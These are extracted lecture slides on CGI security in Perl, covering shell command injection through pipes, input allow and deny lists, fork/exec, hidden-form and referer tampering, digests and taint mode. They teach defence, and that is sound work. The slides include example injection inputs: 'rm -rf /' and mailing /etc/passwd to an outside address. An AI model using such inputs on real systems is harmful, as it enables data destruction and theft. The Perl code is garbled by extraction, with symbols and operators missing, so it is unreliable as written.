CGI Security

1
CGI Security

• COEN 351

2
CGI Security

• Security holes are exploited by user input.
• We need to check user input against
• Buffer overflows etc. that cause a program to
  misbehave.
• Input that is interpreted differently than the
  designer expects it.

3
CGI Security

• Interpretation example
• Assume that we call a program within a script and
  pass user-provided parameters to the program.
• For example, a pretty-printer for ASCII art.

4
CGI Security

• Interpretation Example

!usr/bin/perl w use CGI my App
/temp/app.exe my q new CGI my string
q-gtparam( string ) unless ( string )
error( q, Need string parameter) local
PIPE open PIPE, App \string\ or die
Cannot open pipe ! print q-gtheader(text/plai
n ) print while ltPIPEgt close PIPE
5
CGI Security

• Interpretation Example
• We first verify that the user enters a string.
• We use a pipe in order to stream the output of
  app to the page.
• The print while ltPIPEgt statement takes the
  output one line at a time and prints it out.

6
CGI Security

• Interpretation Example

!usr/bin/perl w use CGI my App
/temp/app.exe my q new CGI my string
q-gtparam( string ) unless ( string )
error( q, Need string parameter) local
PIPE open PIPE, App \string\ or die
Cannot open pipe ! print q-gtheader(text/plai
n ) print while ltPIPEgt close PIPE
7
CGI Security

• Interpretation Example
• When Perl opens up a pipe, then user input is
  passed through a shell
• Assume users types in rm -rf / on a Unix
  machine.
• The command would execute as if the following
  command would have been entered into a shell
• /temp/app.exe \rm rf /

8
CGI Security

• Interpretation Example
• When Perl opens up a pipe, then user input is
  passed through a shell
• Assume users types in
• mail tjschwarz_at_scu.edu lt /etc/passwd
• on a Unix machine.
• The command would execute as if the following
  command would have been entered into a shell
• /temp/app.exe mail tjschwarz_at_scu.edu lt
  /etc/passwd

9
CGI Security

• Interpretation Example
• Clearly, we need to be careful about filtering
  out bad input.
• Other examples include
• SQL injection attacks
• Access to resources

10
CGI Security

• Interpretation Example
• A simplistic countermeasure checks the input for
  bad characters, before we pass user input to the
  pipe.
• This is a bad strategy because it only excludes
  possible attacks.
• Much better to positively identify good input.
• Before 9/11, visa to US was granted unless there
  was a positive reason to exclude some-one. (Bad
  list.)
• After 9/11, visa to US demands proof of good
  attitudes.
• Bad policy maybe for the US, but good policy for
  web-servers (unless you eliminate legitimate
  traffic).

11
CGI Security

• Interpretation Example

!usr/bin/perl w use CGI my App
/temp/app.exe my q new CGI my string
q-gtparam( string ) unless ( string )
error( q, Need string parameter) if (string
/ \\\ ) error(q, Bad
input) local PIPE open PIPE, App
\string\ or die Cannot open pipe
! print q-gtheader(text/plain ) print while
ltPIPEgt close PIPE
This excludes characters \
12
CGI Security

• Interpretation Example
• We want to only allow strings that are
  alpha-numerical, have underscores, hyphens,
  periods, question marks, and exclamation points.
• However, the strategy of enumerating bad
  characters needs to be amended to exclude all
  possible escape sequences
• ASCII / Unicode escapes
• Foreign language symbols
• Double escapes

13
CGI Security

• Interpretation Example

!usr/bin/perl w use CGI my App
/temp/app.exe my q new CGI my string
q-gtparam( string ) unless ( string )
error( q, Need string parameter) if (string
/\w.!?-/ ) error(q, Bad
input) local PIPE open PIPE, App
\string\ or die Cannot open pipe
! print q-gtheader(text/plain ) print while
ltPIPEgt close PIPE
This lists good characters alpha-numeric . !
? -
14
CGI Security

• Interpretation Example
• This is much better.
• But do we positively know that one could not
  write an attack string that way?
• What about users using a different character set?
• More importantly, a minor change can destroy the
  security.
• Better not use this idea.

15
CGI Security

• Interpretation Example
• Prevent the root problem
• Do not pass arguments through the shell.
• First fork. Then let the child process call
  exec.
• This will prevent part of malicious user input to
  end up as a command.

16
CGI Security

• Interpretation Example

This script bypasses the shell. This call to
open tells Perl to fork and create a child
process with a pipe connected to it. The child
process is a copy of the current executing script
and continues from the same point. Parent
receives pid of child process. Child receives
pid of zero. Child process calls exec, which
calls the app on the input. Parent maintains pipe
to the app.
!usr/bin/perl w use CGI my App
/temp/app.exe my q new CGI my string
q-gtparam( string ) unless ( string )
error( q, Need string parameter) local
PIPE my pid open PIPE, - die Cannot
fork ! unless defined pid unless ( pid )
exec app, string or die Cannot open pipe
! print q-gtheader(text/plain ) print
while ltPIPEgt close PIPE
17
CGI Security

• DO NOT TRUST INPUT
• Data in hidden fields can be changed by the user.
• Referer data can be changed.
• Data in cookies can be changed.

18
CGI Security

• Hidden Forms are not secure

19
CGI Security

• Hidden forms are not secure
• This script generates a new URL
• https//localhost/cgi/buy.cgi?price30.00nameSup
  erBlaster3000quantity1submitOrder.
• User can simply edit this URL and get another
  price posted to the webserver.

20
CGI Security

• Hidden forms are not secure
• Therefore, we use the Post-method. However
• Attacker can save the webpage.
• Edit the form-field
• Change price that way.
• CGI script cannot distinguish which webpage
  called.

21
CGI Security

• Other possibility
• Trust the referer field in the header.
• Someone using a standard browser cannot alter
  easily the referer field.
• However, you can send HTTP commands directly with
  netcat,

my server quotemeta( ENVHTTP_HOST
ENV(SERVER_NAME) ) unless (ENVHTTP_REFERER
mhttps?//server/ ) error( q, Invalid
referring URL. )
22
CGI Security

• Do not trust unencoded cookies.
• User can access and alter the cookie with any
  number of tools.

23
CGI Security

• Countermeasures
• Protect data with encryption.
• Use SSL to protect data integrity and content in
  transit.
• Validate any information that the user can change
  by signature or digest.

24
CGI Security

• Protection Mechanism against alteration
• Use a secure digest
• Concatenate values in hidden form with a secret
  value.
• Store the hash of the resulting string.
• When you receive data, verify the hash.

25
CGI Security

• Protection Mechanism against alteration

26
Perl Taint Mode

• Perl offers some protection against user input.
• In taint mode, Perl will not allow any data from
  outside the application to affect anything
  outside the application.
• Tainted variables can not be passed to
• eval
• shell
• calls on the file system

27
Perl Taint Mode

• Tainted variables taint variables calculated from
  them.
• However, to make things work, you usually need to
  untaint variables
• If a variable matches with a regular expression
  using () groups, then they become untainted.

if (email /(\w1\w-.)\_at_(\w-.)/)
email "1\_at_2" else warn ("TAINTED
DATA SENT BY ENV'REMOTE_ADDR' email !")
email "" successful match did not occur
28
CGI Security

• Data Storage Issues
• Danger Opening files when the filename is
  dynamically generated based on user input.
• Move data files out of web server tree.
• Set file permissions.
• Principle of minimal permission.
• Files that only need to be read should be owned
  by nobody and should be write protected.

29
CGI Security

• Learn the Odds and Ends
• Email
• User should not be able to send email to anyone
  but a single entity.
• Otherwise, it is trivial to fake email coming
  from your organization.